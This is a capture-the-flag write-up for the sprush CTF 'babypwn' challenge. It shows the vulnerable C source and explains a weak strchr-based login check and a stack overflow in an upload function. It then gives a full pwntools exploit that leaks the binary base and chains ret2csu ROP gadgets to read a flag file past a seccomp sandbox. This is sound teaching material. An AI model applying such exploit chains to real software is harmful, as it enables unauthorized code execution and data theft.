SPR{babypwn}
Hi everyone !
This week write up will start fairly simple and easy with a funny chall of the sprush CTF which is a pwn challenge and they give us the libc and the respective source code, so not so much ASM involve.
recon
A Basic 64 bit PIE - binary without canary.
root@ea494f7de03f:/ctf/work/babypwn/task# checksec --file app
[*] '/ctf/work/babypwn/task/app'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
First of all, lets analyze the respective source code:
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <seccomp.h>
#include <sys/utsname.h>
char* ptr[4] = {0, 0, 0, 0};
int seccomped=0;
void sandbox() {
if (!seccomped) {
scmp_filter_ctx seccomp_ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat), 0);
seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_load(seccomp_ctx);
seccomp_release(seccomp_ctx);
}
seccomped=1;
}
void setup() {
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
}
int auth() {
char login[16] = {0};
char password[16] = {0};
char user_login[16] = {0};
char user_password[16] = {0};
int fd = open("auth.txt", O_RDONLY);
char buf[100] = {0};
read(fd, buf, 100);
strncpy(login, buf, strchr(buf, ':')-buf);
strncpy(password, strchr(buf, ':')+1, strchr(buf, '\n')-strchr(buf, ':')-1);
puts("Login:");
read(0, user_login, 16);
puts("Password:");
read(0, user_password, 16);
for (int i = 0; i < 5; i++) {
if (!strchr(login, user_login[i])) {
return 0;
}
}
for (int i = 0; i < 6; i++) {
if (!strchr(password, user_password[i])) {
return 0;
}
}
return 1;
}
int get_game_number() {
char num[16] = {0};
int number = 0;
puts("Input your game's number:");
read(0, num, 16);
number = atoi(num);
if (number >= 1 && number <= 4) {
return number;
} else {
puts("Invalid number");
return -1;
}
}
void create() {
int number = get_game_number();
if (number != -1) {
if (!ptr[number-1]) {
ptr[number-1] = (char*)calloc(1, 0x100);
puts("Tell about it:");
read(0, ptr[number-1], 0x50);
puts("OK. Got your thoughts.");
return;
}
}
}
void print() {
int number = get_game_number();
if (number != -1) {
if (ptr[number-1]) {
puts("Content:");
puts(ptr[number-1]);
}
}
return;
}
void delet() {
int number = get_game_number();
if (number != -1) {
if (ptr[number-1]) {
free(ptr[number-1]);
ptr[number-1] = 0;
}
}
}
void upload() {
char buf[16] = {0};
puts("Input your size:");
read(0, buf, 16);
read(0, buf, atoi(buf));
puts(buf);
return;
}
int menu() {
char buf[16] = {0};
puts("1. Create game");
puts("2. Print game\n3. Delete game");
puts("4. Upload file\n5. Test RNG");
puts("6. Exit\nYour choice:");
read(0, buf, 16);
return atoi(buf);
}
int try_rng() {
char buf[16] = {0};
int number=0;
srand(time(NULL));
int r = rand()%100;
puts("Type your guess:");
read(0, buf, 16);
number = atoi(buf);
if (number == r) {
puts("Hooray! You're real lucky boy");
} else {
printf("Nah. The correct one is %d\n", r);
}
return r;
}
void finish() {
exit(0);
}
int main() {
setup();
sandbox();
if (!auth()) {
return 1;
}
for (;;) {
switch (menu()) {
case 1:
create();
break;
case 2:
print();
break;
case 3:
delet();
break;
case 4:
upload();
break;
case 5:
try_rng();
break;
case 6:
finish();
break;
};
}
}
First of all, the binary will ask us for a username and password, since we dont know anything of it, lets analyze the respective function. From now, to analyze everything, I’ll add comments to the respective ASM | source code, and start from there to generate conclusions.
int auth() {
char login[16] = {0};
char password[16] = {0};
char user_login[16] = {0};
char user_password[16] = {0};
int fd = open("auth.txt", O_RDONLY);
/*
* Important: In buf we'll have the respective auth credentials which are 5 and 6 bytes long respectively.
* On the last for loops, there's and important bug, since the only thing that the code is doing is to iterate over our creds and calling strchr() for each character.
* what strchr() does is the following: return a pointer to the respective first ocurrence of the word if not, return NULL.
* Since its called for each one of our creds, we just need to know (or guess) one character that is inside of the correct credentials.
* turnsout, 'a' is contained in username and the respective password.
*/
char buf[100] = {0};
read(fd, buf, 100);
strncpy(login, buf, strchr(buf, ':')-buf);
strncpy(password, strchr(buf, ':')+1, strchr(buf, '\n')-strchr(buf, ':')-1);
puts("Login:");
read(0, user_login, 16);
puts("Password:");
read(0, user_password, 16);
for (int i = 0; i < 5; i++) {
if (!strchr(login, user_login[i])) {
return 0;
}
}
for (int i = 0; i < 6; i++) {
if (!strchr(password, user_password[i])) {
return 0;
}
}
return 1;
}
From here, we’re in…
We have an array of pointers in the bss, which is saving pointers to heap chunks, but no heap overflow or UAF here (the respective pointers are set to NULL after free()).
One important thing, is a basic buffer overflow on the upload() function.
void upload() {
char buf[16] = {0};
puts("Input your size:");
read(0, buf, 16);
/*
* The important thing here is that we're ask for the size, and the buffer is just `16 bytes` long, so, by writing 24+ bytes of data, we successfully can make a `bof`.
*/
read(0, buf, atoi(buf));
puts(buf);
return;
}
Note that we cant just call one_gadgets | execve | arbitrary syscall, since we’re "sandboxed with seccomp", so, we’re gonna leak the flag with just the white listed syscalls.
Exploit
how ?
- First, everything that we’re gonna do is centered on this last function.
- Since is a
PIE binary, we first need aleakin order to calculate thebase of the binary. - This last functions comes handy, we can write
n-bytesjust before thereturn value, if we do this just before the return address, puts will write the entire buffer, which will have no nullbyte in between thebuffer and the return address, allowing us to leak theret value. - Second, since we need to control the
third register (rdx)to use theread syscall, we’re gonna need to do aret2csuattack. - We have an infinite
buffer, so we can make everything with just oneROP chain(after the respective leak) that will do the following. - read the
/tmp/flag.txtstring into the bss. - open the
/tmp/flag.txtusing the bss string. - read the open file into the bss.
- puts the
bss stringthat will contain our flag.
ret2csu -> read(fd = 0, bss, len("/tmp/flag.txt") ) -> fd = open(bss) -> read(fd, bss, 0x20) -> puts(bss)
With this being said, the exploit will become something like this (I’ll comment every part of the code, if this format is not friendly for a writeup, please, ping me up).
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'new-window'])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "./app" ## change for the challenge name
DEBUG = 1
if DEBUG:
context.log_level = "debug"
p = process(p_name, env = {"LD_PRELOAD":"./libc.so.6"}) ## Start the new process
gdb_command = '''b * main
b * auth+358
b * upload+104
b * __libc_csu_init+82'''.split('\n') ## The command that will run gdb at startup
attach_command = "tmux new-window gdb {} {} ".format(p_name,p.pid)
for k in gdb_command:
attach_command += '''--eval-command="{}" '''.format(k)
log.debug("Starting a new gdb session with the following command: {}".format(attach_command))
subprocess.Popen(attach_command, shell=True, stdin=subprocess.PIPE)
else:
p = remote("tasks.sprush.rocks",20002)
def make_auth():
username = b'a' * 6
password = b'a' * 6
p.sendline(username)
p.sendline(password)
p.recvuntil(b"Your choice:")
def upload_bof(size, payload,n = True):
p.sendline(b'4')
p.recvuntil(b"size:")
p.sendline(str(size))
p.sendline(payload)
p.recvuntil('AAAA')
leak = p.recvline()
if n :
p.recvuntil("choice:")
return leak
# First, for the login function, the only thing that the program does is to search for a occurence of one character
# By knowing one character in username and password we're in
yesno("Send the auth payload ?")
make_auth()
# Now we have a classic bof on the upload function with offset: 24
# With 24 of bof, we can get the leak of the return value of the function
# By not writing the nullbyte on our string "main+140"
leak_main_140 = upload_bof(24, b"A"*24)
leak_main_140 = leak_main_140.strip()[20:]
leak_main_140 = leak_main_140.ljust(8,b"\x00")
leak_main_140 = u64(leak_main_140)
binary_base = leak_main_140 - 0x19fd
bss = binary_base + 0x0000000000004000 + 0x90
plt_read = binary_base + 0x10c0
got_read = binary_base + 0x3f90
got_puts = binary_base + 0x3f68
plt_puts = binary_base + 0x1070
plt_open = binary_base + 0x1110
csu_first = binary_base + 0x1a72
'''
0x000055bfa1e97a72 <+82>: pop rbx
0x000055bfa1e97a73 <+83>: pop rbp
0x000055bfa1e97a74 <+84>: pop r12
0x000055bfa1e97a76 <+86>: pop r13
0x000055bfa1e97a78 <+88>: pop r14
0x000055bfa1e97a7a <+90>: pop r15
0x000055bfa1e97a7c <+92>: ret
'''
csu_second = binary_base + 0x1a58
'''
0x000055bfa1e97a58 <+56>: mov rdx,r15
0x000055bfa1e97a5b <+59>: mov rsi,r14
0x000055bfa1e97a5e <+62>: mov edi,r13d
0x000055bfa1e97a61 <+65>: call QWORD PTR [r12+rbx*8]
'''
rdi = binary_base + 0x0000000000001a7b # pop rdi; ret
rsi = binary_base + 0x0000000000001a79 # 0x0000000000001a79: pop rsi; pop r15; ret;
log.info("Leak of main+140: %s" % hex(leak_main_140))
log.info("Binary base: %s" % hex(binary_base))
log.info("bss start: %s" % hex(bss))
log.info("read@@PLT: %s" % hex(plt_read))
log.info("puts@@GOT: %s" % hex(got_puts))
log.info("puts@@PLT: %s" % hex(plt_puts))
yesno("Do the second overflow ? ")
payload = b''
payload += b'A' * 24 # Padding
payload += p64(csu_first)
payload += p64(0x00) # call QWORD PTR [r12+rbx*8]
payload += p64(0x01) # set rbp to 0x1 in order to pass the cmp instruction and reach the ret value
payload += p64(got_read) # since the jump dereference the address, we need to place the GOT, since the address is already resolved, which means that the read@@GOT will have the address of the function on libc.
payload += p64(0x00) # rdi register
payload += p64(bss ) # rsi register
payload += p64(0x10) # rdx register
payload += p64(csu_second) # Second part of the ret2csu chain
payload += p64(0x00) # just some padding to reach the respective ret (we need to pass over every pop instruction that come after the cmp)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += b'AAAABBBB'
payload += p64(rdi) # Here's the part that will be in charge of open the respective file
payload += p64(bss) # bss address where we have the /tmp/flag.txt string
payload += p64(rsi)
payload += p64(0x00) # rsi for the respective open flags
payload += p64(0x00) # dummy r15
payload += p64(plt_open) # call open
# Now, we have the filedescriptor of the open file on rax, which must be 0x4
# In order to read it, we need another ret2csu, lol
payload += p64(csu_first)
payload += p64(0x00) # call QWORD PTR [r12+rbx*8]
payload += p64(0x01) # same as above, set rbp to 0x1 in order to pass the cmp instruction and reach the ret value
payload += p64(got_read) # r12 to the jump ( read@@GOT )
payload += p64(0x04) # to rdi, te respective file descriptor
payload += p64(bss) # rsi value, where we gona write
payload += p64(0x30) # rdx : amount of bytes to read from the fd
payload += p64(csu_second)
payload += p64(0x00) # just some padding to reach the respective ret
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += b'AAAABBBB'
# Now, we have the flag on our bss section,
# We need to write it down, with puts, yay
payload += p64(rdi)
payload += p64(bss)
payload += p64(plt_puts)
# Now exit to main or end it
payload += b'AAAABBBB'
upload_bof(len(payload) + 1, payload, n=False)
yesno("Send the flag path ?")
# This flag will be used on the first read of our ropchain
p.sendline(b"/tmp/flag.txt\x00")
p.interactive()
With this, we’re ready to grab the flag :D

Hope that this helps!
cheers!